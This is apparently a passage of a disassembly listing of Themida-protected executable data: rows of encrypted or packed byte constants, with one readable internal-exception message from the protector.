		dd 0BD96BE90h, 0D0CFCFFCh, 0ED5E8DA3h, 0E52EC838h, 0AB7EAF85h
		dd 0C5938538h, 638838EBh, 55E022ABh, 0F63F12FBh, 53AFDBFFh
		dd 39EF68D7h, 26DE3383h, 0BC50E6h, 3028A72Eh, 0F9000000h
		dd 0A565A149h, 8B0A860Fh, 45F6254Fh, 0E52F3BF4h, 2C865579h
		dd 0F839A36Fh, 0FF3DB4CCh, 3FD8124Ah, 0A8C4E0F6h, 0E811C84Ch
		dd 0EFC039h, 5E4C0000h,	12A271ADh, 57FD3DF9h, 0FB4B1CDEh
		dd 0AF19D915h, 77A48A42h, 933590C4h, 78F1DDEFh,	9079A148h
		dd 0C3E9454h, 0CA0A24E0h, 7695379Dh, 0CCB2D0D7h, 0E1C9E71Fh
		dd 5109838Fh, 0A898117Dh, 0F147873Fh, 0AE1DDC18h, 0EF932339h
		dd 0D312CA23h, 92528A63h, 8C5F35F1h, 2F2EE63Fh,	0D4072BE5h
		dd 88488464h, 0D68AB22h, 0C370A3C9h, 0EBCED394h, 3766B599h
		dd 2735519Dh, 4270D230h, 1BB171ADh, 934BA292h, 83A90352h
		dd 4275051Dh, 4DBC8C05h, 0E3377991h, 516D686Dh,	3821Dh
		dd 0F430C300h, 0AC688535h, 0F72FDD6Dh, 0AE668636h, 0F430DF6Fh
		dd 0F2B14835h, 9222E31Bh, 0CD7DBC78h, 9424E521h, 337ABB73h
		dd 0D87BD162h, 0E7C0E8E3h, 6BAF5E6Bh, 2BA5286h,	864668C2h
		dd 184CFF2Ch, 65EF9336h, 0F7A66749h, 5BD50D5Dh,	51D89298h
		dd 8D4C8861h, 254F8B81h, 3BF445F6h, 4979E52Fh, 874769A5h
		dd 3F3FDA32h, 0D0BC98F6h, 0E8B9B034h, 0CDB839h,	5E340000h
		dd 0F3A271ADh, 93360C40h, 0F47D51EFh, 83306136h, 0EF93354Dh
		dd 9CF04392h, 0E1EF9335h, 5A6AE3CDh, 0EBB7BB3h,	0EF933299h
		dd 0B372AA43h, 0F232EA03h, 71C25591h, 0EF933A1Bh, 786FA745h
		dd 1AA97A54h, 0E52F3DC3h, 18D43808h, 9D5C72D8h,	85563CF8h
		dd 0CEE74A36h, 68BB97EBh, 34F531D8h, 41A96584h,	686E6535h
		dd 0A0DF93AFh, 21000002h, 67D716CEh, 2393528Ah,	60D011CDh
		dd 3D8D4C88h, 0AAD716CEh, 39F51453h, 669E48F8h,	0C3FB17A7h
		dd 9D59B202h, 0F744155Ch, 0E8E3D7A1h, 5E45C9EEh, 0EA477AFh
		dd 2ABE433Ch, 6C9CAE75h, 4AFA39B0h, 1CB665A1h, 954C974Ah
		dd 7E7D5B1h, 0D48546CFh, 0F4E23685h, 32FEF92h, 0E323DB31h
		dd 5E4CC049h, 0E6B171ADh, 0F079B556h, 2EEF27C0h, 36E58F4Bh
		dd 2F554485h, 65A589E5h, 3F5578D0h, 325E7AF6h, 0E8AB52D6h
		dd 2C5639h, 8BDA0000h, 1AD2394Fh, 8D5E70DAh, 2F224F3Eh
		dd 8EF6DCE5h, 35C7D410h, 8C39F9D7h, 0F63F7054h,	8A660226h
		dd 39E88A0Eh, 2702h, 45D8E00h, 0B9EF9336h, 6EC4177Dh, 89B8E4FAh
		dd 4190196Ch, 2E3D6FF2h, 1ACCFCE5h, 4E8231E2h, 93F63E41h
		dd 5C5091BFh, 25E10FBFh, 23C64FE5h, 0ED5E8DE7h,	0E52F3554h
		dd 0E2B57559h, 36CC00B3h, 3D11F63Fh, 364D87B4h,	57B7F63Fh
		dd 98B66E83h, 0C6FEEE58h, 0AEE25106h, 0F3F63F36h, 395575DFh
		dd 98F4D078h, 0E8B4F87Ch, 1CF039h, 5D7C0000h, 0EF933603h
		dd 0C5167CB8h, 0F1E13E94h, 0D279C2EBh, 3305685Bh, 0A68AE52Fh
		dd 15BF6B67h, 560B418Dh, 7A9F16B2h, 0B407D4BEh,	0E52231D0h
		dd 52E2311Dh, 0CBC7DB9h, 11CD3FDBh, 589CFF3Fh, 0C606BE2Eh
		dd 2291426Ch, 0EBD173DBh, 8EDF0C20h, 9C15D13Eh,	50833BACh
		dd 775EB201h, 8FA3FCF1h, 9475C506h, 3FFB9858h, 0D4368655h
		dd 11409118h, 0EFE9EA40h, 98D608A3h, 0F1D073A9h, 1D94B8FCh
		dd 8DC59B2Eh, 648CA0F2h, 6F1E6D58h, 0ECECA09Ch,	6D000000h
		dd 3B8B4A82h, 6FDF1ED6h, 34844581h, 69D918D4h, 0F68B4A82h
		dd 6DA9400Fh, 32EA1CACh, 77AF43F3h, 29E506B6h, 43F0A1E8h
		dd 0E8E3D60Dh, 8BF97552h, 5CF6254Fh, 0E2AEACE8h, 0EE3FB6F5h
		dd 21ECF05Dh, 0D1113DE5h, 3064D786h, 58F641F1h,	4D6176AEh
		dd 0DB13F4C4h, 0EFF8A208h, 0B5D60AB9h, 371BF641h, 3290621Fh
		dd 1FC878BBh, 658434E7h, 0F1C369A9h, 0AB69E01Ch, 28B0FD1Eh
		dd 0D206E748h, 12D2FC38h, 779642A4h, 0FBD57FBFh, 0A3CF133Bh
		dd 187454E2h, 0A968A445h, 679F48F8h, 0C3FB11A7h, 0E87A903h
		dd 0DD0DCD3Eh, 654BE121h, 0C3FB13A5h, 9D59B503h, 0CE06EB5Dh
		dd 8EFA260Eh, 8F25F4D7h, 7246F330h, 0DDFF768Fh,	0C3FBECB1h
		dd 9EF24110h, 0E3609C16h, 358546CFh, 94D818D4h,	0Fh, 7D15BF9Eh
		dd 40667BEDh, 745A927Ah, 5EE193FDh, 0DBB7BB3h, 56E020DCh
		dd 74C202BAh, 2C9A5A92h, 77C101BDh, 2A9C5C98h, 7CCA0AC2h
		dd 2096568Eh, 0DDD313CBh, 5585450h, 4, 8704E883h, 685C2404h
		dd 4157h, 52240489h, 0C281E289h, 4, 8704EA83h, 895C2414h
		dd 0DB82434h, 0D146334Bh, 0BA5248E0h, 20D775F7h, 0F7EA814Ah
		dd 299B2023h, 0EC815AD0h, 4, 83242489h,	5E042404h, 8904EC83h
		dd 8B9240Ch, 1000000h, 590189F1h, 5724348Bh, 0C781E789h
		dd 4, 4C781h, 3C870000h, 34FF5C24h, 0C4815824h,	4, 0FD1C57E9h
		dd 0B84D6EFFh, 6AF6144h, 0E0FFC503h, 7907666Dh,	74600262h
		dd 7BA6F8E7h, 5B12D35Dh, 0B9C4373h, 77ED4FFDh, 49D33525h
		dd 667D038Bh, 41EEE812h, 5A056B44h, 315F63E6h, 5237E6CDh
		dd 637EE767h, 453F0F01h, 59BB4BD7h, 3D40658h, 54FD7435h
		dd 6D6A46FEh, 182F087Bh, 78E7F13Bh, 7BD4747Eh, 0AE8h, 6AAF8300h
		dd 0F035C2FEh, 0B8CA208Ch, 3E8BD332h, 45C6815Eh, 0F00006Bh
		dd 0B9FFBFh, 0F9000000h, 0F3134FFh, 881h, 2890F00h, 8B000000h
		dd 8C0F5BC3h, 3, 81D3BF0Fh, 0E9F19AC3h,	0AFF6B829h, 0EB8166B9h
		dd 74318A4Dh, 0B6CE8B60h, 0F3816117h, 0BDA2222h, 11E960h
		dd 803A0000h, 3F7B72CFh, 0D53236AFh, 0F3DCDAAEh, 61136B20h
		dd 0D18B6653h, 510E048Fh, 5FD2BF0Fh, 92B8EF81h,	0E983621Dh
		dd 0F98B6604h, 954CF981h, 850FFFFFh, 0FFFFFF8Ch, 83E94DB6h
		dd 53000000h, 57565251h, 1C245C8Bh, 4D3B8166h, 68850F5Ah
		dd 0F000000h, 33C43B7h,	3B8166D8h, 850F4550h, 57h, 3785B8Bh
		dd 8B1C245Ch, 74032473h, 8B561C24h, 738B207Bh, 247C031Ch
		dd 24740320h, 0C983FC20h, 5C8B41FFh, 178B1C24h,	20245403h
		dd 8A04C783h, 74C08402h, 75033A08h, 0EB4243E8h,	75033AF2h
		dd 0E1D15FE0h, 0F04B70Fh, 386048Bh, 5F1C2444h, 5B595A5Eh
		dd 330008C2h, 0FFF1E9C0h, 0CA8BFFFFh, 5E8h, 7BE97900h
		dd 55B0E4CCh, 89C2815Ah, 0B8000067h, 1C6C443Fh,	830FFF2Bh
		dd 1, 3A0C8BFCh, 0BB4702B8h, 0B4C1810Fh, 815CC9FCh, 53C114E9h
		dd 8E814h, 5C410000h, 87577496h, 0AE9A49Fh, 8C000000h
		dd 566057E7h, 93286029h, 0F1815B4Bh, 4AAFF207h,	71C08166h
		dd 0E96051E9h, 5, 6606665Dh, 4FC2B8B9h,	8F6167E5h, 0F513A04h
		dd 382h, 0C2BF0F00h, 83F18B5Eh,	11E801EFh, 40000000h, 0B54E4366h
		dd 0A9CE6E66h, 8E59BA19h, 0F52872CAh, 58C6BF0Fh, 814F4F4Fh
		dd 0A7E408E6h, 24FF8110h, 0FFFFF99h, 0FFFF7085h, 2A8BB8FFh
		dd 5E85510h, 20000000h,	8736EA7Eh, 5BF18B66h, 58C381F9h
		dd 8B000062h, 9EC7B9F3h, 0C18125BFh, 0DA407997h, 6BB2D781h
		dd 38B3CEEh, 8F04C081h,	8C0F112Dh, 6, 5CAE781h,	0F08135FDh
		dd 2749B673h, 307E00BFh, 7AE8815Bh, 66770AC8h, 0A6D4EE81h
		dd 8A0F5750h, 6, 830Fh,	8F5F0000h, 0AE903h, 64B40000h
		dd 62942FA4h, 1E1ED908h, 3EEBEB81h, 0E8520427h,	0Eh, 0BD7BA8E6h
		dd 1FB13B44h, 0FD3188D1h, 5F5E1E6Bh, 3EE7C381h,	890F0427h
		dd 3, 81D08B66h, 1E9h, 18850F00h, 57000000h, 0AD0BC681h
		dd 0E95E57E8h, 33h, 1151283Eh, 0D8A028D7h, 0E9705737h
		dd 0Ah,	0F6442289h, 0A86408A7h,	53E90C59h, 18FFFFFFh, 0EE9F7142h
		dd 0BBCF3F5Bh, 582182C3h, 55413ACFh, 0E93CE4AAh, 400h
		dd 0
a3anInternalExc	db '3An internal exception occured (Address: 0x%x)',0Ah
		db 0Dh,'Please, contact support@oreans.com. Thank you!',0
		align 10h
		dd 0E4h	dup(0)
		dd 56h,	45h, 0
		dd 1189E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1A04h, 0C3504000h, 4EB48736h, 0FEBE760h, 686h, 0A1952900h
		dd 106AC1Ah, 0AC276985h, 7D858B06h, 6A06AC30h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0AECEC353h, 7E9h, 9CAF8500h,	844C0DAFh, 4244439h, 76850Fh
		dd 9D310000h, 6AC1C41h,	1FF9BD83h, 0F0006ACh, 6384h, 79B53100h
		dd 8D06AC09h, 0AC3AFF85h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 86CADAh, 0F910FE48h
		dd 6AE0FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 0B70E7AC3h, 0B589600Ah, 6AC1A99h,	6E9h, 0FF5DBB00h
		dd 61DDB787h, 3479858Bh, 0B52906ACh, 6AC2AE5h, 2EB59D89h
		dd 443906ACh, 850F0424h, 2Ch, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0FEC35646h,	833E133Bh, 0EC85C7BEh
		dd 106AF68h, 0F5000000h, 68C0F60h, 89000000h, 0AC07D18Dh
		dd 8F0F6006h, 5, 740D3FBBh, 0EB816667h,	0E9617D36h, 2Eh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0E4C35343h
		dd 9CFF2C82h, 0D8B0121Fh, 0E9BD89h, 6ACh, 1B80000h, 87000000h
		dd 0AF6A6E85h, 75C00B06h, 39B5FFF6h, 8F06AC33h,	0AF68E485h
		dd 6A206A06h, 0D195FFFFh, 8306AC2Eh, 0AC310DBDh, 8740006h
		dd 95FF006Ah, 6AC2145h,	32F5BD83h, 740106ACh, 80680Dh
		dd 0FF6A0000h, 2ED195FFh, 896006ACh, 0AC0EA585h, 0A9BD8B06h
		dd 6106AC08h, 0B5853160h, 8106AC10h, 0DEB9F5F6h, 0C02B6127h
		dd 2DE59589h, 548B06ACh, 0FFC2824h, 0C80h, 6870F00h, 0F000000h
		dd 8Bh,	0D9858900h, 6A06AC1Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 1C8BC350h, 1633E7B8h
		dd 3CBEh, 5E900h, 279A0000h, 33D1A8Fh, 6A242474h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 6B68C356h, 0DA0239Bh, 0B531AD66h, 6AC2445h, 24244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 0FDC35040h
		dd 4B0FF569h, 0D59529D4h, 9006AC1Ch, 0EE9h, 41CF2500h
		dd 1207C290h, 75E4E908h, 5017DA4Bh, 0C840Fh, 850F0000h
		dd 6, 890Fh, 60900000h,	0FE952h, 0EB650000h, 9D83B334h
		dd 0DBF164AFh, 2009E5E9h, 8C0F5EA1h, 15h, 10E9h, 72970A00h
		dd 7A1D0713h, 8B0AB70Eh, 1A7B5E9h, 408B6117h, 0CE978h
		dd 0EBE30000h, 89AA785Ah, 0F373ABE9h, 0BD834089h, 6AF68ECh
		dd 35850F00h, 0E9000001h, 13h, 89B2B49Bh, 3419DBC1h, 536AE2D9h
		dd 0B9719414h, 0E9259E70h, 0Ah,	0E260A34Dh, 5FF62C2Bh
		dd 60904924h, 4830Fh, 0B9660000h, 5061A693h, 9E9h, 4B492700h
		dd 400CDABEh, 6A905E86h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3920C356h, 0B5897FC0h
		dd 6AC04F9h, 2C24448Bh,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Bh, 0FEC35747h, 43212FD7h, 0E9D260B3h, 10h
		dd 23C1412Eh, 0B23EE046h, 4142C89Bh, 0C2D53E0Dh, 15830F50h
		dd 0E9000000h, 10h, 8499279h, 0CE06FEC6h, 0D07C3611h, 5003F71Eh
		dd 6A240489h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0AC65C355h, 0B9BD4EBBh, 11E9B934h
		dd 0B4000000h, 2F07453Dh, 0B02ACE51h, 642ABA40h, 73A593C2h
		dd 0DE9h, 1C1C4F00h, 0F899255Bh, 679D0B55h, 858DAD11h
		dd 6AF35ECh, 6AD0FFF5h,	3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 0FC91C352h,	28244403h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 0ADC35040h
		dd 2E454A89h, 6A18408Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 1EB7C352h, 0F19D092Ch
		dd 4006AC11h, 68C0Fh, 8D290000h, 6AC012Dh, 68E88589h, 6A06AFh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0BB304DC3h, 7D9D0158h, 8B06AC31h, 6A7870h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 160424h, 50400000h, 24D7AC3h
		dd 1CC683F8h, 0F1B70F60h, 966166B0h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 15h, 0CC35242h, 0CE960EFh, 0F6000000h
		dd 0E36A92C0h, 199199ACh, 0FCF34252h, 1D950161h, 8106AC15h
		dd 24247Ch, 0F100000h, 10087h, 53006A00h, 3E8h,	0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 35101395h
		dd 0E9609246h, 13h, 0D13848BAh,	3508AEB3h, 88B17AAEh, 0BC056811h
		dd 0E9221411h, 12h, 9A623E90h, 0F8638C01h, 0F782716Fh
		dd 70A5FED7h, 0F90596Ah, 0C81h,	68E0F00h, 0F000000h, 85h
		dd 66605000h, 668E13B8h, 617E87B8h, 619D8990h, 8B06AC33h
		dd 0E9282444h, 0Ch, 21720D4Dh, 0F2D6DA28h, 0EA53200Bh
		dd 8B666090h, 12E8C1h, 81490000h, 5212E173h, 0FF946A4Dh
		dd 7C204E74h, 37F8DB9Ah, 6158D08Bh, 0EE950h, 986A0000h
		dd 51AE5A69h, 70C773BFh, 0B7B0775Ch, 0DE990h, 0A1560000h
		dd 0D55993B6h, 0D9AB5F83h, 8D3C086Fh, 0AF35EC85h, 0D0FFF506h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0E3C35242h
		dd 8F0FF993h, 1, 810F96F8h, 25h, 0CE960h, 0B4D80000h, 0C1D73059h
		dd 7C2AE219h, 0CE81844h, 0D5000000h, 9C092921h,	6AF1E5E1h
		dd 5BA806C0h, 24740361h, 55006A24h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0F1BD8D2Fh, 6A06AC26h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 18042444h
		dd 47000000h, 2611C357h, 0E9EEE8BBh, 0Bh, 0DEBC1CEFh, 0B3E37FF0h
		dd 31737F00h, 0AC00ED9Dh, 6AAD06h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1A0424h, 52420000h, 7AE946C3h, 4C85D132h
		dd 24247C81h, 10000000h, 0F2870Fh, 8E0F0000h, 9, 0D2816660h
		dd 0C18B4D4Ch, 820F6061h, 3, 113D880h, 0AC195185h, 60506106h
		dd 6E960h, 71920000h, 5386AF4Fh, 0C9154B8h, 0BF66611Bh
		dd 8961BF3Bh, 8BF82404h, 89282444h, 0AC07159Dh,	0BE605006h
		dd 20E18374h, 11E8h, 0FFA54700h
		db 1Fh
byte_57EFE9	db 5Fh,	17h, 20h	; DATA XREF: Themida_:005671D0o
		dd 0AE37696Fh, 0E092C664h, 0F8B91D8Ah, 580BF26Bh, 24048961h
		dd 840F60h, 66000000h, 0C809D681h, 0EC858D61h, 6A06AF35h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 4605C353h, 65951262h, 6076697Ch, 8E9h, 0FA809F00h
		dd 7218B42h, 0E59D298Bh, 6106AC0Eh, 6AD0FFh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 0FD5D81C3h
		dd 0CE9FFh, 649A0000h, 581C2B32h, 8F71D240h, 8D29BFC4h
		dd 6AC09C1h, 24244403h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 17h, 1C35242h, 6039FAD1h, 56AABA66h, 6870Fh
		dd 0B5890000h, 6AC1941h, 6AAB61h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 22C414C3h, 607929F1h
		dd 89DB2D18h, 0AC0C8D95h, 1810F06h, 0F5000000h,	0FA81h
		dd 820F0001h, 6EBh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 2DC35545h, 8D623E90h,	0AC25B5BDh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0F0FE4DBh, 18Eh, 0FADF900h, 684h, 0A58D8900h, 8106AC29h
		dd 24247Ch, 0F100000h, 12C87h, 55006A00h, 3E8h,	0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 0BF0AB38Dh
		dd 68C512B2h, 9D315179h, 6AC0EEDh, 91B26050h, 68D0Fh, 890F0000h
		dd 0
		dd 24048961h, 27A1BD89h, 448B06ACh, 6A2824h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 190424h, 55450000h, 3E9B78C3h
		dd 0E9E81CDBh, 0Eh, 7B893C76h, 7833F1ACh, 6CB9C5EDh, 8E0F3AC4h
		dd 1, 5E990F5h,	0A0000000h, 4DC1C350h, 60525050h, 0E9D18B66h
		dd 8, 0E6DAD80Dh, 0C4FE940Bh, 0E9310F61h, 0Ch, 229DFC98h
		dd 15DBBD90h, 5CCCD363h, 6A90585Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 899FC355h
		dd 0AC123DB5h, 0C8B0F06h, 0F000000h, 684h, 2D858900h, 8D06AC2Eh
		dd 0AF35EC85h, 53006A06h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 0FF5A7117h, 12880FD0h
		dd 0E9000000h, 0Dh, 0A66BA53Bh,	70F51053h, 988E779Ah, 2444030Dh
		dd 0C9852924h, 5006AC2Eh, 0A8F0Fh, 0F600000h, 8Dh, 61616000h
		dd 6A240489h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 14042444h, 42000000h, 318AC352h, 0AC32BDB5h,	6AAB06h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 0EFEC40C3h, 96A35B72h, 25C98D09h, 0BD8D06ACh, 6AC26B9h
		dd 0E2D9D89h, 0E9AD06ACh, 0Ah, 0E0B65CE1h, 27E4738Eh, 7C8149E9h
		dd 2824h, 870F1000h, 14Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 80C35545h, 800FE6D9h,	18h, 13E9h, 0F1B4B000h
		dd 5B8FEE8Bh, 0FCEC5FEEh, 0DC5D8691h, 2A1A4A9Ch, 5E9h
		dd 89A6B100h, 50505ABDh, 6880F52h, 0F000000h, 8Dh, 0F310F00h
		dd 1283h, 0DE900h, 358F0000h, 9F02D71Bh, 45FD5349h, 5A8962C7h
		dd 24048958h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 16h,	9AC35040h, 8529FBE1h, 6AC256Dh,	2C24448Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 3DC35747h, 5DAC87DEh
		dd 718E4E7Ah, 11E993h, 50450000h, 3F0868FEh, 6BEDF92h
		dd 55A7B98Eh, 0F139330h, 18Ch, 6090F800h, 5061F98Bh, 10E9h
		dd 0B90DCA00h, 3CF005E4h, 1DF76863h, 0DE91846Ah, 6A90B3h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h
		dd 78578FC3h, 0DFD10C81h, 35EC858Dh, 666006AFh,	6657FE8Bh
		dd 5A6612BBh, 6AD0FF61h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0C0B8C350h,	44031C44h
		dd 6A2824h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0E924FFC3h, 0E0EAF838h, 68F0Fh, 8D010000h
		dd 6AC141Dh, 55006AABh,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1904h, 0C3554500h, 0BA29C033h, 830F6049h, 1,	8DFF5EF8h
		dd 6AF68E8h, 68E8BD83h,	750006AFh, 8DC0330Ah, 0AF779BB5h
		dd 56E6FF06h, 247C81ADh, 28h, 500E7710h, 2C24448Bh, 0EC858D50h
		dd 0FF06AF35h, 244403D0h, 0DF8B9728h, 68E4858Ah, 0C08406AFh
		dd 73A0474h, 32574C75h,	0FD75AEC0h, 52FB2B5Eh, 49C933FCh
		dd 0C033D18Bh, 32ACDB33h, 8ACD8AC1h, 0B6D68AEAh, 0EBD16608h
		dd 73D8D166h, 41356609h, 0F3816650h, 0CEFE5449h, 0C833EB75h
		dd 754FD333h, 0F7D2F7D5h, 0C1C28BD1h, 8B6610C0h, 0D03B5AC1h
		dd 835E0F74h, 85FF04C6h, 6AC1AD9h, 0FFFF5DE9h, 85895EFFh
		dd 6AC1AADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0F9C35343h, 0EE2D55Eh, 29559589h, 858B06ACh, 6AC1AD9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0B7C35343h
		dd 8217A159h, 0AE520D2Dh, 18D0F19h, 0F5000000h,	0AE9E0D1h
		dd 7000000h, 7EF6CD0Fh,	0C606C6E0h, 0B985035Ch,	0F06AC26h
		dd 18Ah, 0F62BF500h, 6800Fh, 0BD290000h, 6AC31B1h, 0AD66FC96h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0F6C35646h
		dd 2E0C1F9h, 6830Fh, 85310000h,	6AC06E1h, 26F18503h, 8A0F06ACh
		dd 7, 18F0Fh, 96F50000h, 6AADF8h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 2D9A06C3h, 30358589h
		dd 7C8106ACh, 2424h, 870F1000h,	0BBh, 0CE950F5h, 67000000h
		dd 0FD80986Bh, 0FD7C39E4h, 8922BA08h, 8BF92404h, 6A282444h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0DEA8C352h, 870F4584h, 6,	34919D01h, 0F5006ACh
		dd 0A8Dh, 890F6000h, 0
		dd 89615952h, 85312404h, 6AC1549h, 35EC858Dh, 6A06AFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
		dd 14A3A1C3h, 27A90464h, 0F81E814h, 689h, 59D2900h, 8906AC24h
		dd 0AC24D1B5h, 6AD0FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 14042444h, 45000000h, 380C355h, 0F242444h
		dd 1682h, 8B666000h, 0BE8F1h, 59410000h, 142982FBh, 0A7AA96BAh
		dd 8961598Ch, 6A1C2444h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 72AC351h, 0CD6D934Ah
		dd 0BC68A25Ch, 333985C6h, 0C70006ACh, 0AF6A6E85h, 6, 0EC85C700h
		dd 6AF68h, 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 68A6C355h, 0E7094240h,	8A0FFC8Ah
		dd 11h,	0CE9h, 0ACBA8A00h, 0A692826h, 0D04C790Dh, 0C2F5610Eh
		dd 14E90008h, 0DE000000h, 7AE4E801h, 0D2F850EFh, 0BFFD9D19h
		dd 8AEC0D4Fh, 8B00B961h, 0AC26F185h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0AE9EE6Ah
		dd 6C000000h, 363A92B0h, 62ADB7D7h, 8DB501A7h, 4A06AC28h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 16h, 65C35242h
		dd 8D29E1BBh, 6AC23D1h,	0E904D26Bh, 0Ah, 0E276E705h, 0DCA3E9F1h
		dd 0C203DCEAh, 6A96FCh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 9D8977C3h, 6AC12B5h, 51006AADh
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1704h, 0C3514100h
		dd 26BEFFFEh, 247C81F8h, 24h, 6C870F10h, 60000001h, 0E96079B5h
		dd 0Ch,	2ACE512Fh, 2ABA40B0h, 0A593C264h, 906161F8h, 6E860h
		dd 0C99C0000h, 18C7FF3h, 11E8h,	8974E000h, 0CD1B9B43h
		dd 0E290214Ah, 62F7A73Bh, 585E2659h, 860F5061h,	9, 1048BA60h
		dd 6160599Dh, 6A9061h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 160424h, 56460000h, 0DB1458C3h, 13E9h, 0A28C0A00h, 53A13DB8h
		dd 34821C95h, 0BBB46248h, 0A45D1E76h, 2824448Bh, 8860Fh
		dd 880F0000h, 2, 60906160h, 66616060h, 610B69BFh, 0DE8h
		dd 77858A00h, 7BEF2BE3h, 0C96F809Ah, 8B6648DCh,	506159D9h
		dd 52505250h, 14E9h, 0DF498300h, 81E92FEFh, 0CDC85C13h
		dd 0DD275809h, 8B90C004h, 0E9310F5Fh, 0Fh, 0F413F98Bh
		dd 12DD7DCDh, 46606776h, 5A5107D7h, 0E9310F58h,	0Eh, 7E636A12h
		dd 6503BACBh, 40884A9Ah, 585A1522h, 52006A90h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0EC5DD68Fh
		dd 858916FAh, 6AC3371h,	35EC858Dh, 6A06AFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 150424h, 57470000h, 0F01CBC3h
		dd 683h, 5D8D0900h, 0FF06AC17h,	8880FD0h, 60000000h, 325D9589h
		dd 0E96106ACh, 0FFFFFD0Fh, 0C860Fh, 860F0000h, 6, 8F0Fh
		dd 858D0000h, 6AF7E3Bh,	870F90F8h, 17h,	12E9h, 0BD59100h
		dd 502B961Dh, 0A0A11824h, 0F8C3F95Bh, 50C3DACFh, 12830Fh
		dd 52500000h, 310F5250h, 310F585Ah, 880Fh, 585A0000h, 50006A90h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 2F49B3BAh, 85290AA3h, 6AC2EA9h, 35FF64h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0C05CC350h, 2E259589h, 48B06ACh, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 89EC0A6Eh, 0AC2E4D9Dh, 0BD858906h, 0E906AC00h, 13h
		dd 0D9489166h, 585ACBDEh, 0A1C9D9Eh, 0D465BDE2h, 641DFD5Bh
		dd 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 1354FC3h, 0AC080195h, 899D2906h
		dd 8906AC2Dh, 0AC05E185h, 12858D06h, 6A06AF7Ch,	3E85500h
